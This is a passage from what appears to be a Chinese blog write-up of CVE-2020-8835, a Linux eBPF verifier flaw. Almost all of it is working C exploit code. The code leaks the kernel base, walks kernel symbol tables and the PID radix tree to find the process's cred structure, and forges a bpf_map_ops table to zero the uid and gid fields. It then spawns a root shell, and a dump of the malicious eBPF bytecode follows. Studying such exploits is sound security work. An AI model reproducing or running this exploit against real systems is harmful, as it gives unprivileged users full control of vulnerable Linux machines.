arbitrary_read(addr); uint32_t addr_high = arbitrary_read(addr + 0x4); return ((uint64_t)addr_high << 32) | addr_low; } static void pwn(void) { uint64_t leak_addr, kernel_base; uint32_t read_low, read_high; //----------------leak info----------------------- // update_elem(0); infoleak(ctrl_buf, ctrl_mapfd); uint64_t map_leak = ctrl_buf[2]; printf("[+] leak array_map_ops:0x%lX\n", map_leak); // 我查看我的对于内核的System.map。 // sudo cat /proc/kallsyms | grep startup_64 // ffffffff81000000 T startup_64 // ffffffff82049940 R array_map_ops // 两者只差为0x1049940 // kernel_base = map_leak - 0x1016480; kernel_base = map_leak - 0x1049940; printf("[+] leak kernel_base addr:0x%lX\n", kernel_base); uint64_t elem_leak = ctrl_buf[3] - 0xc0 +0x110; printf("[+] leak exp_map_elem addr:0x%lX\n", elem_leak); // ---------------------------arbitrary read -------------------- // // 内核符号通过EXPORT_SYMBOL()导出,以便其他模块使用。它会做下面这些事情 // __kstrtab_<symbol_name> - 作为字符串的符号名称; // __ksymtab_<symbol_name>- 一个包含符号信息的结构:<symbol_name>的地址偏移、__kstrtab_<symbol_name>的地址偏移等。 // 先找到init_pid_ns该字符串的地址。该字符串地址保存在__kstrtab。 // 我们先遍历__kstrtab_<symbol_name>的每一项。__kstrtab的范围为[ffffffff824b2a62,ffffffff824eb1e9] // ffffffff81000000 T startup_64 // ffffffff824b2a62 r __kstrtab_empty_zero_page // ffffffff824eb1e9 r __kstrtab___clear_user // start_search = kernel_base + (ffffffff824b2a62-ffffffff81000000=0x14B2A62); // 搜素最大次数:ffffffff824eb1e9-ffffffff824b2a62=0x38787 // 在线网站:https://www.bejson.com/convert/ox2str/,16进制到文本字符串的转换(方向相反是大小端的原因):6469705f74696e69->dip_tini // 当我们通过__kstrtab,找到init_pid_ns该字符串的地址。 // 我们需要遍历__ksymtab_<symbol_name>的每一项。__ksymtab的范围为[ffffffff82487098,ffffffff824a7bdc]=20B44 // 如果某一项的地址+4的内容(其对应字符串的偏移量)+该项的地址 == init_pid_ns的地址,则找见init_pid_ns对应的__ksymtab_<symbol_name> // 找到__ksymtab_init_pid_ns之后,它包含的第一项为init_pid_ns结构体的偏移量 // ffffffff82487098 R __start___ksymtab // ffffffff824a7bdc r __ksymtab_zs_unmap_object // ffffffff81000000 T startup_64 // start_search = kernel_base + (ffffffff82487098−ffffffff81000000 = 0x1487098) // 最大搜索次数:ffffffff824a7bdc - ffffffff82487098 = 0x20B44 // 0x38787÷0x20B44 = 1.72670877。 uint64_t init_pid_ns_str,init_pid_ns_ptr, start_search, addr; // start_search = kernel_base + 0x12f0000; start_search = kernel_base + 0x14B2A62; // for(int i = 0 ; i < 0x2a000; i += 1){ for(int i = 0 ; i < 0x38787; i += 1){ addr = start_search + i; read_low = arbitrary_read(addr); if(read_low == 0x74696e69 ){ read_high = arbitrary_read(addr + 4); if(read_high == 0x6469705f){ printf("[+] found init_pid_ns in __kstrtab_init_pid_ns\n"); init_pid_ns_str = addr; printf("[+] --init_pid_ns_str addr : 0x%lx\n", init_pid_ns_str); break; } } } uint32_t offset_str, offset_ptr; start_search = kernel_base + 0x1487098; // for(int i = 0 ; i < 0x2a000; i += 4){ for(int i = 0 ; i < 0x20B44; i += 12){ //每项大小间隔12 // addr = start_search + i; addr = start_search + i + 4; offset_str = arbitrary_read(addr); if((addr + offset_str) == init_pid_ns_str){ offset_ptr = arbitrary_read(addr - 4); init_pid_ns_ptr = (addr - 4) + offset_ptr; printf("[+] found init_pid_ns_ptr in __ksymtab_init_pid_ns\n"); printf("[+] --init_pid_ns_ptr addr : 0x%lx\n", init_pid_ns_ptr); break; } } // 此时我们已经知道init_pid_ns地址和pid,如何查看pid对应的task_struct? // 内核kernel/pid.c:find_task_by_pid_ns函数,实现了这个功能。 // 我们运行的用户空间代码,没法直接使用这个内核函数。我们只需要在用户空间,实现和这个函数相同的功能(利用漏洞在用户空间读取内核内容),即可。 // 找到该进程的task_struct内核地址之后,task_struct中的cred成员,管理着该进程的权限 uint32_t idr_base = arbitrary_read(init_pid_ns_ptr+0x18); printf("[+] idr_base addr: 0x%lx, value: 0x%lx\n",(init_pid_ns_ptr+0x18), idr_base); pid_t pid = getpid(); printf("[+] pid = %d\n", pid); uint64_t index = pid - idr_base; uint64_t root = init_pid_ns_ptr + 0x8; // &ns->idr &idr->idr_rt printf("[+] &ns->idr, &idr->idr_rt, root: 0x%lx\n",root); uint64_t xa_head = read_8byte(root + 0x8); // &root->xa_head printf("[+] root->xa_head: 0x%lx\n", xa_head); uint64_t node = xa_head; while(1){ uint64_t parent = node & ~RADIX_TREE_INTERNAL_NODE; printf("[+] -- parent: 0x%lx\n", parent); uint64_t shift = arbitrary_read(parent) & 0xff; uint64_t offset = (index >> shift) & RADIX_TREE_MAP_MASK; printf("[+] -- shift: 0x%lx, offset: 0x%lx\n",shift, offset); node = read_8byte(parent + 0x28 + offset*0x8); //parent->slots[offset] printf("[+] -- node: 0x%lx\n", node); if(shift == 0){ break; } } uint64_t first = read_8byte(node + 0x8); //*&pid->tasks[0] printf("[+] first: 0x%lx\n", first); uint64_t task_struct = first - 0x500; // &(*(struct task_struct *)0)->pid_links[0] = 0x500 uint32_t comm = arbitrary_read(task_struct + 0x648); printf("[+] comm: 0x%lx\n", comm); // get comm to check uint64_t cred = read_8byte(task_struct + 0x638);// get cred addr printf("[+] cred: 0x%lx\n", cred); //----------------------------arbitrary write---------------------- // /mnt/data/linux/include/linux/bpf.h中定义着所有的bpf map 操作 /* map is generic key/value storage optionally accesible by eBPF programs */ // struct bpf_map_ops { // /* funcs callable from userspace (via syscall) */ // int (*map_alloc_check)(union bpf_attr *attr); // struct bpf_map *(*map_alloc)(union bpf_attr *attr); // void (*map_release)(struct bpf_map *map, struct file *map_file); // void (*map_free)(struct bpf_map *map); // int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key); // void (*map_release_uref)(struct bpf_map *map); // void *(*map_lookup_elem_sys_only)(struct bpf_map *map, void *key); // /* funcs callable from userspace and from eBPF programs */ // void *(*map_lookup_elem)(struct bpf_map *map, void *key); // int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags); // int (*map_delete_elem)(struct bpf_map *map, void *key); // int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags); // int (*map_pop_elem)(struct bpf_map *map, void *value); // int (*map_peek_elem)(struct bpf_map *map, void *value); // /* funcs called by prog_array and perf_event_array map */ // void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file, // int fd); // void (*map_fd_put_ptr)(void *ptr); // u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf); // u32 (*map_fd_sys_lookup_elem)(void *ptr); // void (*map_seq_show_elem)(struct bpf_map *map, void *key, // struct seq_file *m); // int (*map_check_btf)(const struct bpf_map *map, // const struct btf *btf, // const struct btf_type *key_type, // const struct btf_type *value_type); // /* Prog poke tracking helpers. */ // int (*map_poke_track)(struct bpf_map *map, struct bpf_prog_aux *aux); // void (*map_poke_untrack)(struct bpf_map *map, struct bpf_prog_aux *aux); // void (*map_poke_run)(struct bpf_map *map, u32 key, struct bpf_prog *old, // struct bpf_prog *new); // /* Direct value access helpers. */ // int (*map_direct_value_addr)(const struct bpf_map *map, // u64 *imm, u32 off); // int (*map_direct_value_meta)(const struct bpf_map *map, // u64 imm, u32 *off); // int (*map_mmap)(struct bpf_map *map, struct vm_area_struct *vma); // }; // arrary map 根据自己的特性,有选择的实现即可 // kernel/bpf/arraymap.c // const struct bpf_map_ops array_map_ops = { // .map_alloc_check = array_map_alloc_check, // .map_alloc = array_map_alloc, // .map_free = array_map_free, // .map_get_next_key = array_map_get_next_key, // .map_lookup_elem = array_map_lookup_elem, // .map_update_elem = array_map_update_elem, // .map_delete_elem = array_map_delete_elem, // .map_gen_lookup = array_map_gen_lookup, // .map_direct_value_addr = array_map_direct_value_addr, // .map_direct_value_meta = array_map_direct_value_meta, // .map_mmap = array_map_mmap, // .map_seq_show_elem = array_map_seq_show_elem, // .map_check_btf = array_map_check_btf, // }; // ffffffff82049940 R array_map_ops // ffffffff811fab30 T array_map_alloc_check // ffffffff811fbae0 t array_map_alloc // ffffffff811fb280 t array_map_free // ffffffff811fac20 t array_map_get_next_key // ffffffff811face0 t array_map_lookup_elem // ffffffff811fb140 t array_map_update_elem // ffffffff811fac60 t array_map_delete_elem // ffffffff811fafb0 t array_map_gen_lookup // ffffffff811fabb0 t array_map_direct_value_addr // ffffffff811fabe0 t array_map_direct_value_meta // ffffffff811fad80 t array_map_mmap // ffffffff811fadc0 t array_map_seq_show_elem // ffffffff811fb8f0 t array_map_check_btf uint64_t fake_map_ops[] = { kernel_base + (0xffffffff811fab30 - 0xffffffff81000000), // map_alloc_check kernel_base + (0xffffffff811fbae0 - 0xffffffff81000000), // map_alloc 0, // map_release kernel_base + (0xffffffff811fb280 - 0xffffffff81000000), // map_free kernel_base + (0xffffffff811fac20 - 0xffffffff81000000), // map_get_next_key 0x0, // map_release_uref 0x0, // map_lookup_elem_sys_only kernel_base + (0xffffffff811face0 - 0xffffffff81000000), // map_lookup_elem kernel_base + (0xffffffff811fb140 - 0xffffffff81000000), // map_update_elem kernel_base + (0xffffffff811fac60 - 0xffffffff81000000), // map_delete_elem kernel_base + (0xffffffff811fac20 - 0xffffffff81000000), // map_push_elem -> map_get_next_key 0x0, // map_pop_elem 0x0, // map_peek_elem 0x0, // map_fd_get_ptr 0x0, // map_fd_put_ptr kernel_base + (0xffffffff811fafb0 - 0xffffffff81000000), // map_gen_lookup 0x0, // map_fd_sys_lookup_elem kernel_base + (0xffffffff811fadc0 - 0xffffffff81000000), // map_seq_show_elem kernel_base + (0xffffffff811fb8f0 - 0xffffffff81000000), // map_check_btf 0x0, // map_poke_track 0x0, // map_poke_untrack 0x0, // map_poke_run kernel_base + (0xffffffff811fabb0 - 0xffffffff81000000), // map_direct_value_addr kernel_base + (0xffffffff811fabe0 - 0xffffffff81000000), // map_direct_value_meta kernel_base + (0xffffffff811fad80 - 0xffffffff81000000), // map_mmap }; memcpy(exp_buf, fake_map_ops, sizeof(fake_map_ops)); update_elem(2); // 2:write;map类型修改为BPF_MAP_TYPE_STACK // value = ffffffffffffffff; // cred+4+i*4 为uid,gid,suid,sgid,...... // 由于map type被修改成BPF_MAP_TYPE_STACK,执行map_update_elem,会调用map->ops->map_push_elem(map, value, attr->flags); // map_push_elem在上面的fake_map_ops中,被替换成array_map_get_next_key。 // 所以:map_update_elem->map->ops->map_push_elem(map, value, attr->flags)==array_map_get_next_key(struct bpf_map *map, void *key, void *next_key) // key = value,next = falgs. // 由于key=(u 32)ffffffff >= max_entries=(u 32)-1 = ffffffff, *next=0,即uid被赋值为0。gid同理。 exp_buf[0] = 0x0-1; for(int i = 0; i < 8; i++){ bpf_update_elem(0, exp_buf, exp_mapfd, cred+4+i*4); } } void get_shell(){ if(!getuid()) { printf("[+] you got root!\n"); system("/bin/sh"); } else { printf("[T.T] privilege escalation failed !!!\n"); } exit(0); } int main(void){ prep(); pwn(); get_shell(); return 0; }
使用bpftool,可以查看ebpf的字节码。
0: (18) r9 = map[id:1] 2: (bf) r1 = r9 3: (bf) r2 = r10 4: (07) r2 += -4 5: (62) *(u32 *)(r10 -4) = 0 6: (07) r1 += 272 7: (61) r0 = *(u32 *)(r2 +0) 8: (35) if r0 >= 0x1 goto pc+4 9: (54) w0 &= 0 10: (67) r0 <<= 8 11: (0f) r0 += r1 12: (05) goto pc+1 13: (b7) r0 = 0 14: (55) if r0 != 0x0 goto pc+1 15: (95) exit 16: (79) r8 = *(u64 *)(r0 +0) 17: (bf) r6 = r0 18: (18) r2 = 0x4000000000 20: (18) r3 = 0x2000000000 22: (18) r4 = 0xffffffff 24: (18) r5 = 0x1 26: (2d) if r8 > r2 goto pc+5 27: (ad) if r8 < r3 goto pc+4 28: (2e) if w8 > w4 goto pc+3 29: (ae) if w8 < w5 goto pc+2 30: (5f) r8 &= r4 31: (05) goto pc+2 32: (b7) r0 = 0 33: (95) exit 34: (18) r9 = map[id:2] 36: (bf) r1 = r9 37: (bf) r2 = r10 38: (07) r2 += -4 39: (62) *(u32 *)(r10 -4) = 0 40: (07) r1 += 272 41: (61) r0 = *(u32 *)(r2 +0) 42: (35) if r0 >= 0x1 goto pc+4 43: (54) w0 &= 0 44: (67) r0 <<= 13 45: (0f) r0 += r1 46: (05) goto pc+1 47: (b7) r0 = 0 48: (55) if r0 != 0x0 goto pc+1 49: (95) exit 50: (bf) r7 = r0 51: (b4) w11 = -1 52: (1f) r11 -= r8 53: (4f) r11 |= r8 54: (87) r11 = -r11 55: (c7) r11 s>>= 63 56: (5f) r11 &= r8 57: (1f) r7 -= r11 58: (79) r0 = *(u64 *)(r7 +0) 59: (7b) *(u64 *)(r6 +16) = r0 60: (79) r0 = *(u64 *)(r7 +192) 61: (7b) *(u64 *)(r6 +24) = r0 62: (07) r0 += 80 63: (79) r8 = *(u64 *)(r6 +8) 64: (55) if r8 != 0x1 goto pc+4 65: (79) r0 = *(u64 *)(r6 +32) 66: (7b) *(u64 *)(r7 +64) = r0 67: (b7) r0 = 0 68: (95) exit 69: (55) if r8 != 0x2 goto pc+4 70: (7b) *(u64 *)(r7 +0) = r0 71: (62) *(u32 *)(r7 +24) = 23 72: (62) *(u32 *)(r7 +36) = -1 73: (62) *(u32 *)(r7 +44) = 0 74: (b7) r0 = 0 75: (95) exit
这篇关于CVE-2020-8835-通过不正确的 EBPF 程序验证导致 LINUX 内核权限提升的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-12如何创建可引导的 ESXi USB 安装介质 (macOS, Linux, Windows)
- 2024-11-08linux的 vi编辑器中搜索关键字有哪些常用的命令和技巧?-icode9专业技术文章分享
- 2024-11-08在 Linux 的 vi 或 vim 编辑器中什么命令可以直接跳到文件的结尾?-icode9专业技术文章分享
- 2024-10-22原生鸿蒙操作系统HarmonyOS NEXT(HarmonyOS 5)正式发布
- 2024-10-18操作系统入门教程:新手必看的基本操作指南
- 2024-10-18初学者必看:操作系统入门全攻略
- 2024-10-17操作系统入门教程:轻松掌握操作系统基础知识
- 2024-09-11Linux部署Scrapy学习:入门级指南
- 2024-09-11Linux部署Scrapy:入门级指南
- 2024-08-21【Linux】分区向左扩容的方法